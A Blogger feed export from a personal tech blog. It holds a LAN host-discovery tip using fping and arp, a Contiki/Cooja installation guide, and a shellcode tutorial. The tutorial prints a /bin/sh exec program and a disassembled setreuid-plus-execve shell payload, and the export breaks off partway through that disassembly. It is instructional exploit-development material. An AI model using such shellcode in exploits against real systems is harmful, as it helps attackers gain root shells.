tag:blogger.com,1999:blog-45272282620905228272024-03-14T05:52:58.386-07:00Machine ProgramsAnonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.comBlogger14125tag:blogger.com,1999:blog-4527228262090522827.post-86391006218897154362014-12-17T23:12:00.000-08:002014-12-17T23:12:01.459-08:00IP alives in Local Networks<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
Platform : Ubuntu Linux , But its works all linux Variant <br />
<br />
How to find the IP available in you local network. Its pretty much if you are firewall is not blocking you . Here i have one solution to find the IP address and Mac address in you local network. <br />
<br />
Try to download the "fping" packages from the repo<br />
<br />
sudo apt-get install fping<br />
<br />
<br />
<br />
Type the first command<br />
<br />
fping -g <range starts here> to <range end here><br />
<br />
eg : fping -g 192.167.0.0 192.167.255.255<br />
<br />
fping send a halfway ping to request to all the machine in your local network. Only the alive machine will give response to this mass ping <br />
<br />
Type the Second command<br />
<br />
arp -v or arp -a<br />
<br />
You will get the all IP or hostane , Mac Address and interface of the machine.<br />
<br />
<br />
By using an appropriate shell-script we can save these data in to the database (Its necessary) . When we are going to mass ping , ARP Cache table fill with machine entries . this will clear at certain point.. On that time... we could not get the data.<br />
<br />
Use Scripts and Enjoy....<br />
<br />
<br />
<br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com0tag:blogger.com,1999:blog-4527228262090522827.post-37599767929889452272014-11-05T22:46:00.002-08:002014-11-05T23:04:07.347-08:00Contki and Cooja Installation in Ubuntu<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
Contki is a Wireless Sensor Device OS is to build small nodes in Wireless Sensor Network. It is very easy to port on any embedded resource constrained devices. If you are working on Internet of Things like application , this OS is very much suitable for build a Sensor node application on it.How to install contki OS and its simulator in Ubuntu Machine to develop Sensor Application is given below. ?.. try it..</div>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
1.Install the following packages through the apt command</div>
<div style="text-align: justify;">
<br /></div>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><b> sudo apt-get install build-essential binutils-msp430 gcc-msp430 </b><b> msp430-libc binutils-avr gcc-avr gdb-avr avr-libc </b><b> avrdude openjdk-7-jdk openjdk-7-jre ant libncurses5-dev</b><b> doxygen git</b><b> </b></pre>
<pre> </pre>
<div style="text-align: justify;">
2.Clone the development packages of the contiki.</div>
<div style="text-align: justify;">
</div>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><b> git clone git://github.com/contiki-os/contiki.git contiki</b></pre>
<pre> </pre>
<div style="text-align: justify;">
3.Got to contiki directory and run make command and run output file. <br />
</div>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><b><code>cd contiki-2.6/examples/hello-world
make TARGET=native
./hello-world.native</code></b></pre>
4. How to run contiki OS on micaz mote.? Usually micaz mote
with Tiny OS, but here we can possible to port the contiki OS
in micaz mote.<br />
<br />
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> make TARGET=micaz savetarget</pre>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> make hello-world.upload</pre>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"> make TARGET=micaz hello-world.upload PORT=/dev/ttyUSB0</pre>
<br />
<pre></pre>
4.Running Network Simulator Cooja.<br />
<br />
<div style="text-align: justify;">
Start Cooja , Its a network simulator for testing the sensor network and its running parameter. Its very suitable for build a small sensor network simulator.</div>
<div style="text-align: justify;">
<br /></div>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><b><code>cd contki/toola/cooja</code></b></pre>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code><b>ant run</b></code></pre>
<div style="text-align: justify;">
<br /></div>
<div style="text-align: justify;">
If you got any error while run the ant command juts update the git clone by using the following command. </div>
<div style="text-align: justify;">
<br /></div>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><b><code>git submodule update --init</code></b></pre>
<div style="text-align: justify;">
<br /></div>
5.Cooja Network Simulator Window Appears.<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiod7iKIR-pFeMwFlRP5ZMU2jdnHu8zJ4WYg32I52195sR7LBbVf0xyPBWsNFlvbHUW1NOp6-YsCVQvMd7iE5l8Wo7JljzeYOdTHRTjmkevEOUbQoRa1hzKwlNjv9jlySQk0V-YXzi07KYk/s1600/Screenshot+from+2014-11-06+11:53:07.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiod7iKIR-pFeMwFlRP5ZMU2jdnHu8zJ4WYg32I52195sR7LBbVf0xyPBWsNFlvbHUW1NOp6-YsCVQvMd7iE5l8Wo7JljzeYOdTHRTjmkevEOUbQoRa1hzKwlNjv9jlySQk0V-YXzi07KYk/s1600/Screenshot+from+2014-11-06+11:53:07.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Cooja Open Window</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCPAU-JnyQrzs74p3UOhPIZMg_I85kRRSYTyd50WXQrIOJkPmXFN-0mH2fdEq29ZP_W_NrZywO2bdS-ViAy3v9qCE7cZfvFW7VlnSCRhyjX26qAb-uA3O6zzAEUAeGw7ferurjXHE4Oz8K/s1600/Screenshot+from+2014-11-06+11:53:27.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCPAU-JnyQrzs74p3UOhPIZMg_I85kRRSYTyd50WXQrIOJkPmXFN-0mH2fdEq29ZP_W_NrZywO2bdS-ViAy3v9qCE7cZfvFW7VlnSCRhyjX26qAb-uA3O6zzAEUAeGw7ferurjXHE4Oz8K/s1600/Screenshot+from+2014-11-06+11:53:27.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Create a Simulation</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjATeIgwOs5swxlMwwgal9hykESEvc1rgExGRUyEbfRkfyrxBhqafGWH5baoEs-HILkBZ71BxVAHMGUiRWi5qW0leqYkOJ5WpbVg6lSTb0j3Fo_csLRPvSOG5lKVct69LMqfYh8xLHWXloV/s1600/Screenshot+from+2014-11-06+11:53:50.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjATeIgwOs5swxlMwwgal9hykESEvc1rgExGRUyEbfRkfyrxBhqafGWH5baoEs-HILkBZ71BxVAHMGUiRWi5qW0leqYkOJ5WpbVg6lSTb0j3Fo_csLRPvSOG5lKVct69LMqfYh8xLHWXloV/s1600/Screenshot+from+2014-11-06+11:53:50.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">New Simulation Window</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwymvo2LyOrjUyGaaUZuy8GGs0bD5F2J7f6UBsYB0n3qW6LIGPH9pZDrGOA4cFUyI8FHklA5L3c5d7XyOOV_Z334uczxk_SosfLY51SasNWtOzCPsPordEvuoMfgK4qa5lIEIH9oCuZaYc/s1600/Screenshot+from+2014-11-06+11:54:21.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwymvo2LyOrjUyGaaUZuy8GGs0bD5F2J7f6UBsYB0n3qW6LIGPH9pZDrGOA4cFUyI8FHklA5L3c5d7XyOOV_Z334uczxk_SosfLY51SasNWtOzCPsPordEvuoMfgK4qa5lIEIH9oCuZaYc/s1600/Screenshot+from+2014-11-06+11:54:21.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Choose Mote</td><td class="tr-caption" style="text-align: center;"><br /></td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXvU3KFc7mC6W2N2Vbs5vHVK5vSn4gOWp_G3FC6KXnmjN_ewc6l9I536A-mBffEBhY75mvTaY8QL1_DuKC1pHKBcbc33SiCelNzOAj7OafRtWSoFD62Xvlz4Uye61HfzLwdb0X9F-M2GpH/s1600/Screenshot+from+2014-11-06+11:54:37.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhXvU3KFc7mC6W2N2Vbs5vHVK5vSn4gOWp_G3FC6KXnmjN_ewc6l9I536A-mBffEBhY75mvTaY8QL1_DuKC1pHKBcbc33SiCelNzOAj7OafRtWSoFD62Xvlz4Uye61HfzLwdb0X9F-M2GpH/s1600/Screenshot+from+2014-11-06+11:54:37.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Select a mote from the list</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlJ2YLQgn0QFkOqsSU4Hcwn8p8XY5Xm30OlVciFpbQ8un_ErFj-aW7FsGdxRHgNGYc6Poy9rDA3V8R3ht55gCW5zvcEph2t0yFhJbySI0_JOAOAWOCNUkbn6SnffkkdktuvZnWhYR22nnb/s1600/Screenshot+from+2014-11-06+11:54:47.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlJ2YLQgn0QFkOqsSU4Hcwn8p8XY5Xm30OlVciFpbQ8un_ErFj-aW7FsGdxRHgNGYc6Poy9rDA3V8R3ht55gCW5zvcEph2t0yFhJbySI0_JOAOAWOCNUkbn6SnffkkdktuvZnWhYR22nnb/s1600/Screenshot+from+2014-11-06+11:54:47.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Compile the mote</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="float: right; margin-left: 1em; text-align: right;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXJMmcCBmChTYQxdDHjoTujaY_3HUkT_Y0QM4MIaRZ7iBxSgeSBMUqHa36Y9HUcNrnorKmPvxUJ5_BAhtOSilQkjYdKLhxOAoJ_kaNk10k4To1gLsy4NM5Movc7hVcdF7Vy6Dw3XtK8K9z/s1600/Screenshot+from+2014-11-06+11:54:51.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiXJMmcCBmChTYQxdDHjoTujaY_3HUkT_Y0QM4MIaRZ7iBxSgeSBMUqHa36Y9HUcNrnorKmPvxUJ5_BAhtOSilQkjYdKLhxOAoJ_kaNk10k4To1gLsy4NM5Movc7hVcdF7Vy6Dw3XtK8K9z/s1600/Screenshot+from+2014-11-06+11:54:51.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Select the no of motes one</td><td class="tr-caption" style="text-align: center;"></td></tr>
</tbody></table>
<br />
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuZ-UlMy2ZVwYEIkL53jxMkfnrFsFmQ_E0_vidyVARieRxwu2r-E_BUIo_qjG0YlxFaZDCA0SnYqEJtkL8QLRu7V9bHLLkWsMCCy16ty9uOpUYpdSqyXSbzaOQvNcGWCIbsYJCF8ShHww6/s1600/Screenshot+from+2014-11-06+11:54:58.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuZ-UlMy2ZVwYEIkL53jxMkfnrFsFmQ_E0_vidyVARieRxwu2r-E_BUIo_qjG0YlxFaZDCA0SnYqEJtkL8QLRu7V9bHLLkWsMCCy16ty9uOpUYpdSqyXSbzaOQvNcGWCIbsYJCF8ShHww6/s1600/Screenshot+from+2014-11-06+11:54:58.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">One mote is added to window</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimNorBIxPWiT8BsetPv21t6iVUinKJA9ECZPDJ1OfttaVadBbGJf5fmSkiZ4erEx7C6BGzgZ4QDqdpAAcn5EAUYRP1VxYBdbffgBv0ZiK1cS9mhmG04RvWxYEswHnSvDn21SpMWHy359ZJ/s1600/Screenshot+from+2014-11-06+11:55:10.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEimNorBIxPWiT8BsetPv21t6iVUinKJA9ECZPDJ1OfttaVadBbGJf5fmSkiZ4erEx7C6BGzgZ4QDqdpAAcn5EAUYRP1VxYBdbffgBv0ZiK1cS9mhmG04RvWxYEswHnSvDn21SpMWHy359ZJ/s1600/Screenshot+from+2014-11-06+11:55:10.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Again Select 20 node on elliptical topology</td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs4kAS6VaW1oqRFiSa80vAOU4dBQtzDBLy6YjQaEtmN4meJbXE7DJz61xtSjzIdHkUX1TY7v6bh6eoKgTa42m_ncwsDg3bIRsbhxvfJj8Dm9YBmICr-NNeiThqtEB4vC_pADR7llZ9G53a/s1600/Screenshot+from+2014-11-06+11:55:31.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgs4kAS6VaW1oqRFiSa80vAOU4dBQtzDBLy6YjQaEtmN4meJbXE7DJz61xtSjzIdHkUX1TY7v6bh6eoKgTa42m_ncwsDg3bIRsbhxvfJj8Dm9YBmICr-NNeiThqtEB4vC_pADR7llZ9G53a/s1600/Screenshot+from+2014-11-06+11:55:31.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">20 nodes are added to window</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigyHRjBkxLnDkFXaF79ZV21VNobVDZB1AqXKWCELNBF2mkRvERJBsfna4gUgkKkY5-U-V29lxO_bYtijMAVIgzsDOx3Rzt1Ow7H5_Sb6yunCYfHlXh0hmTtvyCZIbAKltMm9ge440QFzGF/s1600/Screenshot+from+2014-11-06+11:55:48.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigyHRjBkxLnDkFXaF79ZV21VNobVDZB1AqXKWCELNBF2mkRvERJBsfna4gUgkKkY5-U-V29lxO_bYtijMAVIgzsDOx3Rzt1Ow7H5_Sb6yunCYfHlXh0hmTtvyCZIbAKltMm9ge440QFzGF/s1600/Screenshot+from+2014-11-06+11:55:48.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Start the simulation </td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwoNE6tQsieq4ChMRaqeYGr_n7R-iCQpXn-q5sd4HtimqV6NA4QzqejX_yR6dZ-iKny6pSQUR0m8mcTlOYaJcobGY1sO9Oh8YLg2mu4NoFF7YOSeMiEapevnS8g5SrT7X0Y0hxNOoiJhN9/s1600/Screenshot+from+2014-11-06+11:55:53.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwoNE6tQsieq4ChMRaqeYGr_n7R-iCQpXn-q5sd4HtimqV6NA4QzqejX_yR6dZ-iKny6pSQUR0m8mcTlOYaJcobGY1sO9Oh8YLg2mu4NoFF7YOSeMiEapevnS8g5SrT7X0Y0hxNOoiJhN9/s1600/Screenshot+from+2014-11-06+11:55:53.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Show its range and connection paradigm</td></tr>
</tbody></table>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg99fQ-l4_R_Nd3uyeN0W_QICnBDnjAoXH3UpjU4GCyKJD8J8uSh_pamoTNu4AvnxRXAfA7TOzwtQRIEPxjX02CDLwkkokvtO6olItvnLQExLgyBNDIj0qZKwmDaLBKqJL52oYXsgcyuX7i/s1600/Screenshot+from+2014-11-06+11:56:57.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg99fQ-l4_R_Nd3uyeN0W_QICnBDnjAoXH3UpjU4GCyKJD8J8uSh_pamoTNu4AvnxRXAfA7TOzwtQRIEPxjX02CDLwkkokvtO6olItvnLQExLgyBNDIj0qZKwmDaLBKqJL52oYXsgcyuX7i/s1600/Screenshot+from+2014-11-06+11:56:57.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Simulation Pattern</td><td class="tr-caption" style="text-align: center;"><br /></td><td class="tr-caption" style="text-align: center;"><br /></td><td class="tr-caption" style="text-align: center;"><br /></td><td class="tr-caption" style="text-align: center;"><br /></td><td class="tr-caption" style="text-align: center;"><br /></td><td class="tr-caption" style="text-align: center;"><br /></td></tr>
</tbody></table>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody>
<tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO5dVjPdIzfCrgRhy_nex3veFBc-AzjdhFOZzhzNLZFusR7-NmI78gjl65zPvIaKTbtezHTbbNuJM_Bhe00905EtFObUqeWBu8m0l76shQG4uKgJm_ERYz7ek05MOr5uUqVix-dtAXHDxa/s1600/Screenshot+from+2014-11-06+12:09:42.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgO5dVjPdIzfCrgRhy_nex3veFBc-AzjdhFOZzhzNLZFusR7-NmI78gjl65zPvIaKTbtezHTbbNuJM_Bhe00905EtFObUqeWBu8m0l76shQG4uKgJm_ERYz7ek05MOr5uUqVix-dtAXHDxa/s1600/Screenshot+from+2014-11-06+12:09:42.png" height="400" width="640" /></a></td></tr>
<tr><td class="tr-caption" style="text-align: center;">Simulation of mote ant random with 100 motes</td></tr>
</tbody></table>
Cooja Wireless Sensor network simulator help to know the sensor motes operator and its Radio channel allocation and power trace. But it have some limitation while implementing large no of sensor network. <br />
<br /></div>
Anonymoushttp://www.blogger.com/profile/14545770648325591855noreply@blogger.com26tag:blogger.com,1999:blog-4527228262090522827.post-78862801966492743732014-10-29T03:49:00.000-07:002014-10-29T03:50:31.624-07:00Shellcode<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
<b><br /></b>
<b>How to write a simple shellcode ...?</b><br />
<br />
<br />
<span style="font-family: "Courier New";"><span style="font-size: small;">1. A Simple C program for /bin/sh</span></span><br />
<blockquote>
<div class="MsoNormal" style="margin: 0;">
<span lang="EN" style="color: blue; font-family: "Courier New";"><span style="font-size: small;">#include <unistd.h></span></span></div>
<div class="MsoNormal" style="margin: 0;">
<br /></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="EN" style="color: blue; font-family: "Courier New";"><span style="font-size: small;">int main(int argc, char*argv[ ])</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="EN" style="color: blue; font-family: "Courier New";"><span style="font-size: small;">{</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="EN" style="color: blue; font-family: "Courier New";">
<span style="font-size: small;"> char *shell[2];</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<br /></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="EN" style="color: blue; font-family: "Courier New";">
<span style="font-size: small;"> shell[0] = "/bin/sh";</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="EN" style="color: blue; font-family: "Courier New";">
<span style="font-size: small;"> shell[1] = NULL;</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="EN" style="color: blue; font-family: "Courier New";">
<span style="font-size: small;"> execve(shell[0], shell, NULL);</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="EN" style="color: blue; font-family: "Courier New";">
<span style="font-size: small;"> return 0;</span></span></div>
<div class="MsoNormal" style="margin: 0; text-autospace: none;">
<span lang="EN" style="color: blue; font-family: "Courier New";">
<span style="font-size: small;">}</span></span></div>
<span style="font-family: "Courier New";"><span style="font-size: small;"> </span></span></blockquote>
<span style="font-family: "Courier New";"><span style="font-size: small;">2. Type Command</span></span><br />
<span style="font-family: "Courier New";"><span style="font-size: small;"># gcc shellexpt.c -o shellexpt </span></span><br />
<br />
<span style="font-family: "Courier New";"><span style="font-size: small;"># objdump -d ./shellexpt</span></span><br />
<br />
<br />
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;">shellexpt.c :file format elf32-i386</span></span>
<br />
<div class="MsoNormal" style="margin: 0;">
<br /></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;">Disassembly of section .text:</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<br /></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;">08048074 <_start>:</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 8048074:
31 c0 xor %eax, %eax</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 8048076:
b0 46 mov $0x46, %al</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 8048078:
31 db xor %ebx, %ebx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 804807a:
31 c9 xor %ecx, %ecx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> </span></span><span lang="DE" style="color: maroon; font-family: "Courier New";"><span style="font-size: small;">804807c: eb 16
jmp 8048094 <ender></span></span></div>
<div class="MsoNormal" style="margin: 0;">
<br /></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="DE" style="color: maroon; font-family: "Courier New";"><span style="font-size: small;">0804807e <starter>:</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="DE" style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> </span></span><span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;">804807e: 5b
pop %ebx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 804807f:
31 c0 xor %eax, %eax</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 8048081:
88 43 07 mov %al, 0x7(%ebx)</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 8048084:
89 5b 08 mov %ebx, 0x8(%ebx)</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 8048087:
89 43 0c mov %eax, 0xc(%ebx)</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 804808a:
b0 0b mov $0xb, %al</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 804808c:
8d 4b 08 lea 0x8(%ebx), %ecx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 804808f:
8d 53 0c lea 0xc(%ebx), %edx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> </span></span><span lang="DE" style="color: maroon; font-family: "Courier New";"><span style="font-size: small;">8048092: cd 80
int $0x80</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<br /></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="DE" style="color: maroon; font-family: "Courier New";"><span style="font-size: small;">08048094 <ender>:</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="DE" style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 8048094:
e8 e5 ff ff ff call 804807e <starter></span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="DE" style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 8048099:
2f
das</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="DE" style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 804809a:
62 69 6e bound
%ebp, 0x6e(%ecx)</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="DE" style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 804809d:
2f
das</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="DE" style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 804809e:
73 68
jae 8048108 <ender+0x74></span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="DE" style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 80480a0:
4e
dec %esi</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span lang="DE" style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> </span></span><span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;">80480a1: 41
inc %ecx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 80480a2:
41
inc %ecx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
<span style="color: maroon; font-family: "Courier New";"><span style="font-size: small;"> 80480a3:
41
inc %ecx</span></span></div>
<div class="MsoNormal" style="margin: 0;">
